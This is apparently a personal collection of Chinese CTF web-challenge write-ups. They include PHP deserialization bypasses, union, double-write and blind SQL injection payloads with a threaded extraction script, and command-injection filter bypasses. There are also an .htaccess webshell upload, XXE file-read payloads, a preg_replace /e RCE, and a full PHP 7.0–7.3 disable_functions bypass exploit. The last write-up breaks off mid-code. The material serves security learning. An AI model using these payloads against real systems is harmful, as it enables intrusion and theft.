<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

要从反序列化这个Name类下手

分析代码可知,题目需要让用户名为admin 密码为100

而$username和$password又都是通过构造函数传入的

所以我们先序列化一个Name‘对象

image-20200319202253326

这里发现出现了0x00截断符 在PHP中是%00

这是因为 username和password 是private变量 ,private变量被序列化后就会被加上

<0x00>声明此变量的类名<0x00>的前缀

改成%00即可。

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

但是__wakeup函数会在反序列化时将username改成guest

所以需要对__wakeup函数进行绕过

__wakeup()魔术方法绕过(CVE-2016-7124)

漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示的对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

所以将序列化字符串如下更改

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

改为

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20200319203934441

[极客大挑战 2019]Knife

很简单用菜刀连上就行了

[极客大挑战 2019]LoveSQL

上来是一个登录框

image-20200319223045993

flag 应该是藏在数据库里

在登录页面整了老半天,用万能密码登录进去,给了我一个密码。其实后来发现可以不用登录也可以的。

image-20200319223343392

就是普通的union注入 但是要注意俩坑

通过orderby可以得到三个column两个注入点就是上图的2和3

在对元数据库进行查询的时候用第一个注入点会报错,但用第二个注入点就可以,这是第一个坑。

然后是注释符要urlencode!

中间过程就是普通的联合注入

最后在geek库l0velysql表id=16的位置找到flag

image-20200319223643552

[极客大挑战 2019]Http

根据首页提示联系访问Secret.php

然后根据提示修改Referer X-Forwarded-For 还有 User-Agent即可

突然想起来和X-Forwarded-For 相似的还有X-Real-IP Client-IP

[GXYCTF2019]Ping Ping Ping

知识点:命令执行绕过

image-20200520223637505

典型的执行 ping -c ip的 命令执行

构造?ip=127.0.0.1|2;ls

image-20200520223822211

有flag.php 访问后没有东西

尝试直接cat读取

?ip=127.0.0.1|2;cat%20flag.php

image-20200520223939792

空格被过滤了

?ip=127.0.0.1|2;cat${IFS}flag.php

image-20200520224008135

可能花括号或者$被过滤了。

尝试用<>

/?ip=127.0.0.1|2;cat$IFS$9flag.php

image-20200520224008135

尝试用$IFS$9

/?ip=127.0.0.1|2;cat$IFS$9flag.php

image-20200520224232485

flag.php又被过滤了

先试试读index.php

/?ip=127.0.0.1|2;cat$IFS$9index.php

image-20200520224330443

获取源码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

过滤掉很多东西

有三种思路:

1.变量覆盖

flag文件名被过滤了,用变量覆盖的方法绕过正则

?ip=127.0.0.1|2;b=g;cat$IFS$9fla$b.php

2.bash被过滤了可以用sh,flag使用base64绕过

?ip=127.0.0.1|2;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

3.反引号内联命令

?ip=127.0.0.1|2;cat`ls`

都可以得到flag

image-20200520225136611

[极客大挑战 2019]BabySQL

知识点 双写绕过

将or select union from where 替换成空白了 双写绕过

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat(database()),3%23

库名是geek

查表

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20table_name%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27geek%27%20limit%200,1)),3%23

image-20200522065613889

一共是有b4bsql geekuser 两个表

查列 先查geekuser

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20column_name%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name=%27geekuser%27%20limit%200,1)),3%23

image-20200522065929174

有列id username password

那直接查数据

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20username%20frfromom%20geekuser%20whwhereere%20id=1)),3%23

image-20200522070548810

查密码 注意password里也有个or

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20passwoorrd%20frfromom%20geekuser%20whwhereere%20id=1)),3%23

密码 a79622d998bc59a94e0808f718ea9d53

本来以为这就结束了 tmd 我还是太年轻了

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20table_name%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27ctf%27%20limit%200,1)),3%23

结果flag是在ctf库里的Flag表里

最后的payload

/check.php?username=admin&password=admin%27and%20ununionion%20selselectect%201,group_concat((selselectect%20flag%20frofromm%20ctf.Flag%20limit%200,1)),3%23

得到flag

flag{26acd387-dcc6-43d6-b918-617bfe9e095d}

[GKCTF 2020]Check in

知识点 disable_function bypass

一开始页面给了一个webshell

image-20200527161331129

是通过序列化来实现的

可以构造如下的shell

通过base64(eval($_POST['cmd']);)==ZXZhbCgkX1BPU1RbJ2NtZCddKTs=

构造?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=

同时POST:cmd=

但是system exec这些函数无法调用,看一下phpinfo

image-20200527161803150

果然哦是disable_function

首先用蚁剑连上

image-20200527162425970

看到 根目录下有flag 和 readflag

flag打不开,所以应该是要执行readflag

需要上传下面这个exploit

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

#要执行的命令:
pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

但是html目录权限不够传不上去,尝试传到根目录下的tmp里

image-20200527163408345

这个时候需要再返回去include一下

image-20200527163522410

[GKCTF2020]cve版签到

官方hint是 cve-2020-7066

cve-2020-7066 是关于get_header()函数的一个漏洞 ,可以通过%00达到截断的目的

image-20200527195008981

打开超链接发现参数url

image-20200527195040033

用本地试一下

image-20200527195112582

根据提示改成127.0.0.123image-20200527195153626

[ZJCTF 2019]NiZhuanSiWei

知识点:PHP伪协议与PHP反序列化

image-20200610173004895

整个题目主要还是考察PHP伪协议

第一个需要绕过的条件:

isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

可以用php://input 或者是 data://text/plain,welcome to the zjctf 如果有过滤的话可以加base64:

data://plain;base64,welcome to the zjctf

第二个:

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    } 

参数file里不能有flag 这应该还不是getflag的点 这里提示了useless.php 可以尝试用include来读它的源码

使用php://filter协议来读

payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

post:

welcome to the zjctf

image-20200610185141453

解码得:

<?php    
    class Flag{  //flag.php       
    public $file;       
    public function __tostring(){           
        if(isset($this->file)){               
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }       
    }   
}   
?>   

这是一个简单的PHP反序列化 由于index里echo 了反序列化 所以这里的__tostring函数会被执行

payload:

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20200610201730900

f12得到flag

[安洵杯 2019]easy_web

打开有两个参数:

http://66062418-b87b-4984-a2f6-45a5624c1be7.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

截屏2020-10-15 下午8.25.05

这个img对应的应该是这个图片,经过base64decode*2 和 hex to bin:

截屏2020-10-15 下午8.27.46

尝试用这个参数的编码方式去读主页源码:

截屏2020-10-15 下午8.32.22

得到index.php:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

cmd参数可以做命令执行,一个是过滤了很多命令然后需要碰撞参数ab的md5,这里不是弱类型不能用0e,用了===,是强比较。

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

下面这段字符串可以已经实现强比较了(urlecode过了)

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

此二者urldecode后经md5的结果是一样的:e778e2d77286067566a39280b6cb8731

作为a b填入。

进行执行的命令被过滤了 很多,但是可以用+字符进行绕过,比如cat 可以用cat来绕过。

cat%20/flag即可获得flag

[GXYCTF2019]BabyUpload

知识点: 文件上传 PHP头部绕过 黑名单绕过 .htaccess

截屏2020-10-17 下午11.42.27

一开始上传什么文件都是

截屏2020-10-17 下午11.50.38

抓个包才发现是Content-Type一直是 text/plain ,改成image/jpeg即可。

黑名单过滤了后缀名 .ph 还有内容只检查了文件前两个字符不能为长<?

黑名单的问题上传一个.htaccess文件:

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

如此所有文件名包含有1的文件都被会作为php文件执行。

这样上传图片即可,<?被过滤:

<script language='php'>eval($_GET['a']);</script>

这也是一个比较常用的绕过方式。

截屏2020-10-18 上午12.05.07

system被disable了,不过问题不大。

截屏2020-10-18 上午12.05.46

[GWCTF 2019]我有一个数据库

CVE-2018-12613

[BJDCTF2020]The mystery of ip

知识点:smarty ssti Client-IP头

image-20201021184631966

展示了我的内网IP,在Hint里: <--Do you know why i know your ip?-->

headers里没XXF或其他的,尝试xxf无法访问,试试Client-IP发现可以改这个IP。

image-20201021201144558

到这里就不太会了,看了大佬的wp以后知道是ssti竟然。

image-20201021201302688

不太了解这个smarty框架。

image-20201021201348164

直接尝试cat /flag

我丢。。。。

[BJDCTF2020]ZJCTF,不过如此

知识点: php伪协议读取源码 preg_replace函数e模式的RCE漏洞
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

提示next.php. 过滤了flag

Get: ?text=php://input&file=php://filter/convert.base64-encode/resource=next.php

Post: I have a dream

那先把next.php的源码读出来

image-20201026170224094

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

这个next.php的逻辑是把get来的参数分别经过complex函数中的preg_replace解析然后echo

似乎是preg_replace函数e模式的RCE漏洞

使用Get的payload?\S*={${phpinfo()}}

image-20201026170736619

能命令执行问题不大

image-20201026170847263

[SUCTF 2019]Pythonginx

@app.route('/getUrl', methods = ['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname
  if host == 'suctf.cc': 
    return "我扌 your problem? 111"
  parts = list(urlsplit(url)) 
  host = parts[1]
  if host == 'suctf.cc': 
    return "我扌 your problem? 222 " + host 
  newhost = []
  for h in host.split('.'): 
    newhost.append(h.encode('idna').decode('utf-8')) 
    parts[1] = '.'.join(newhost)# 去掉 url 中的空格 finalUrl =
    urlunsplit(parts).split(' ')[0] 
    host = parse.urlparse(finalUrl).hostname
  if host == 'suctf.cc': 
    return urllib.request.urlopen(finalUrl).read()
  else :
    return "我扌 your problem? 333"

[NCTF2019]Fake XML cookbook

知识点:XML注入

从网上找到的payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

image-20201029095656891

[网鼎杯 2020 朱雀组]phpweb

知识点 php反序列化 命令执行

image-20201031081348235

猜测是命令执行,但是没有证据。

image-20201031081455371

果然是,因该是call_user_func函数参数func是函数名,p是参数。

而且ban了大部分危险函数。

尝试读源码:

image-20201031082406494

能读到

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

果然ban了很多函数,这里想了很久但是竟然忘了反序列化Test类真是个憨憨

之后就是自己本地构造Test类调用system函数即可,找了好久flag没找到,又憨憨了,在tmp目录下。

[安洵杯 2019]easy_serialize_php

php反序列化逃逸 关键字减少的情况

给了源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
?>

可以在phpinfo里找到有关flag的提示:

image-20201203165707813

尝试用f=show_image里这个反序列化来读这个d0g3_f1ag.php

代码审计:

上面这一串代码大概是这么个流程:

$function=@$_GET['f'];
把$_SESSION销毁
if($_SESSION){
    unset($_SESSION);
}
然后赋给$_SESSION一些初值 没什么意义
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

把$_POST变量覆盖
extract($_POST);

给$_SESSION['img']赋值
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
将$_SESSION序列化以后过滤再反序列化 读取$_SESSION中img值储存的文件
$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);//?f=show_image
    echo file_get_contents(base64_decode($userinfo['img']));
}

可以基本确定的是我么要利用$_SESSION['img']来读flag,但是$_SESSION['img']在中途被修改,这就需要php反序列化字符串逃逸,这属于关键字减少的情况,这里有两种类型,一种是值逃逸,一种是键逃逸。殊途同归,区别在于被过滤的关键字在值上还是在键上。

payload1:值逃逸,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对~~

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的结果为:

"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

payload2:键逃逸,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对~~

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿的s:7:""之所以为空,是因为我们构造得键flagphp都是会被过滤,所以显示为空,这样就能吃掉";s:48:,然后将剩下的值充当另一个对象逃逸出去。

这个题还有个隐性的地方要注意就是代码中间强行给$_SESSION['img']赋了值,在本地出payload时一定要考虑到。

当利用以上payload读到d0g3_f1ag.php后代码提示

image-20201203172608573

相同做法出payload读flag

image-20201203172805965

[极客大挑战 2019]FinalSQL

异或注入

注入点在search.php中 很恶心

表需要完全自己找 很多都被过滤了union and 空格

exp:

import requests
import time
import threading
import string
result=[]
count=250#预估字符数
for c in range(count):
    result.append('')
s1=threading.Semaphore(10)                                         
def get_flag(pos):
    s1.acquire()       
    low=32
    high=128
    mid=(low+high)//2
    while(low<high):
      payload="http://d7455caa-1059-40e1-ae1f-6df3e7f992d6.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)"%(pos,mid)
      res=requests.get(url=payload)
      if'ERROR' in res.text:
        low=mid+1
      else:
        high=mid
      mid=(low+high)//2
    if(mid==32 or mid==127):
      return
    result[pos]=chr(mid)
    print("position %d is %s"%(pos,result[pos]))
    s1.release()
def start_threads():#开始多线程
    threads = []
    for i in range(1,count):                                                        
           t = threading.Thread(target=get_flag, args=(i,))
           threads.append(t)
           t.start()
    for t in threads:#等待所有线程结束
        t.join()

if __name__ == '__main__':
    start_threads()
    print(''.join(result))

[BSidesCF 2020]Had a bad day

知识点:php伪协议绕过技巧 include函数特性

image-20201207085637460

打开是一个小页面,两个button注意到get参数category 想了好一会才觉得是文件包含,上伪协议读一下试试。

http://91f3fdaf-7edf-41ac-82b1-fdaa95a79798.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=index.php

image-20201207090351199

有报错,在报错里发现代码好像加了一个后缀,可以不加.php

http://91f3fdaf-7edf-41ac-82b1-fdaa95a79798.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=index

获得源码

image-20201207090558272

解码出来的关键代码:

<?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
?>

传入的参数category里必须有woofers或meowers或index,要读flag。

这个也是看了大佬博客才明白的

首先要利用include函数特性尝试读取以下flag.php

?category=woofers/../flag

页面并没有什么变化,但是源码里多了一行:

image-20201207092247199

说明包含是成功了。

然后就是另一个点

php伪协议是可以多嵌一层的 并不会影响其正常工作

?category=php://filter/read=convert.base64-encode/woofers/resource=flag

image-20201207092717608

image-20201207092737917

[SWPU2019]Web1

知识点 二次注入与无列名注入

广告投放的地方才是真的注入点

过滤了空格 order by 太恶心了 22列 我觉得就是故意恶心你的

网上wp有说没有infomation_schema的,实际上是因为这是个:

MariaDB

元数据库并不相同,可以从报错中看到,注入点是投放广告的标题 二次注入

爆库

0'union/**/select/**/'1',database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22    

image-20201207194619748

爆表

0'union/**/select/**/'1',(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20201207191300530

查这个users表的数据 盲猜三个字段。先查第三个 。这里需要无列名注入

0'union/**/select/**/'1',(select/**/group_concat(b)from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20201207194503859

[MRCTF2020]PYWebsite

xff头

image-20201209204323388

[GYCTF2020]Blacklist

知识点:堆叠注入 handler open

image-20201210145823598

好家伙,我说这题怎么看着眼熟。

[强网杯 2019]随便注的原题。

image-20191205171011791

19年强网杯的这道题是堆叠注入然后用prepareexecute拼接被过滤掉的,但是做到最后发现这道题里prepareexecute都被过滤了。

强网杯的那道题在这篇wp的第二道题中

image-20201210151020268

这需要一个新的姿势:

官方文档

HANDLER ... OPEN语句会打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

这是除了SELECT外的另一种读取数据的方式。很骚。

payload:

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

image-20201210154225317

[CISCN 2019 初赛]Love Math

知识点:无参数RCE
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
